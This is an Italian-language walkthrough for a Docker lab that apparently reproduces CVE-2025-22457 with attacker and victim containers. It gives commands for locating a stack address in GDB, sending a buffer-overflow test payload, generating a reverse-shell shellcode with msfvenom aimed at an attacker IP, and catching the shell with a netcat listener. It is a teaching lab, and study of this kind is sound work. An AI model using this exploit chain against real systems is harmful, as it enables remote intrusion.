
Laboratorio pratico che riproduce CVE-2025-22457: configura container Docker attaccante/vittima, individua gli indirizzi dello stack con GDB e distribuisce un exploit reverse shell msfvenom.
Se usi Windows puoi aprire wsl per eseguirlo
chmod +x setup_environment.sh
./setup_environment.sh
Poiché gli indirizzi di memoria e gli IP sono dinamici in ambienti diversi, è necessario trovarli manualmente e aggiornare lo script exploit.py.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
L'obiettivo di questo passaggio è trovare un indirizzo di stack stabile, in modo che il nostro payload possa saltare con precisione.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
Attivare il breakpoint: usa il docker attacker ed esegui il seguente comando per inviare un payload di test. Questo farà fermare GDB sul breakpoint. Nota: sostituisci <VICTIM_IP> con il Victim IP mostrato nel passaggio uno.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
Trovare e registrare l'indirizzo: torna alla finestra del terminale dove si trova GDB, il programma dovrebbe essersi fermato. Esegui il seguente comando per esaminare lo stack:
(gdb) x/200wx $esp
Nell'output, trova una zona composta da 0x43434343 (che rappresenta 'C'). Scegli un indirizzo a caso dal centro di questa zona (ad esempio 0xffffd580) e copialo. Questo è lo stack_address.
Con un editor di testo aggiorna stack_address in exploit.py con l'indirizzo appena copiato
Nella shell del container attacker, esegui il comando msfvenom per generare lo shellcode. Nota: sostituisci <ATTACKER_IP> con l'Attacker IP mostrato nel passaggio uno.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
Copia l'intero blocco buf = b""... prodotto da msfvenom e usalo per sostituire completamente la parte della variabile buf esistente nel file exploit.py.
nc -lvnp 4444
puoi usare i due metodi seguenti Metodo uno
./vulnserver
Metodo due
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
Verificare il risultato: torna alla finestra dove si trova il listener netcat. Se tutto è andato bene, puoi vedere una connessione stabilita e ottenere una shell interattiva. Puoi digitare comandi come whoami, ls -la per verificare.
digita quit in GDB, poi digita exit nella shell del container.
docker stop vic atac
docker network rm 111550082_net